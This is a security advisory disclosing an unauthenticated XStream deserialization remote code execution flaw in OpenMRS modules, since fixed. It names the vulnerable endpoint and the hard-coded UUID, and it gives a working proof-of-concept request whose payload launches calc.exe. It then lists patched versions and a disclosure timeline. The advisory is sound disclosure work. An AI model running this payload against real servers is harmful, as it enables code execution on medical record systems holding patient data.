Title: Unauthenticated remote code execution in OpenMRS
Product: OpenMRS
Vendor: OpenMRS Inc.
Tested versions: See summary
Status: Fixed by vendor
Reported by: Brian D. Hysell

Product description:

OpenMRS is "the world's leading open source enterprise electronic
medical record system platform."

Vulnerability summary:

The OpenMRS Reporting Module 0.9.7 passes untrusted XML input to a
version of the XStream library vulnerable to CVE-2013-7285, making it
vulnerable to remote code execution. If the Appointment Scheduling UI
Module 1.0.3 is also installed, this RCE is accessible to
unauthenticated attackers. OpenMRS Standalone 2.3 and OpenMRS Platform
1.11.4 WAR with Reporting 0.9.7 and Appointment Scheduling UI 1.0.3
installed were confirmed to be vulnerable; other versions and
configurations containing these modules are likely to be vulnerable as
well (see "Remediation").

Details:

In the Reporting module, the method saveSerializedDefinition (mapped
to module/reporting/definition/saveSerializedDefinition) in
InvalidSerializedDefinitionController can be accessed by an
unauthenticated user.

The attacker must provide a valid UUID for a definition present in
OpenMRS or a NullPointerException will be thrown before the remote
code execution can take place. However, upon initialization the
Appointments Scheduling UI module inserts a definition with a constant
UUID hard-coded into AppointmentSchedulingUIConstants
(c1bf0730-e69e-11e3-ac10-0800200c9a66).

Proof of concept:

GET /openmrs-standalone/module/reporting/definition/saveSerializedDefinition.form?type=org.openmrs.OpenmrsObject&serializationClass=org.openmrs.module.serialization.xstream.XStreamSerializer&serializedData=<dynamic-proxy><interface>org.openmrs.OpenmrsObject</interface><handler%20class%3d"java.beans.EventHandler"><target%20class%3d"java.lang.ProcessBuilder"><command><string>calc.exe</string></command></target><action>start</action></handler></dynamic-proxy>&uuid=c1bf0730-e69e-11e3-ac10-0800200c9a66&name=test&subtype=org.openmrs.OpenmrsObject

Remediation:

The vendor has addressed this issue in OpenMRS Standalone 2.3.1,
OpenMRS Reference Application 2.3.1, and OpenMRS Platform 1.11.5,
1.10.3, and 1.9.10.

Timeline:

Vendor contacted: November 2, 2015
Vendor replied: November 3
CVE requested: November 14 (no response)
Patch released: December 2
Announced: January 6, 2016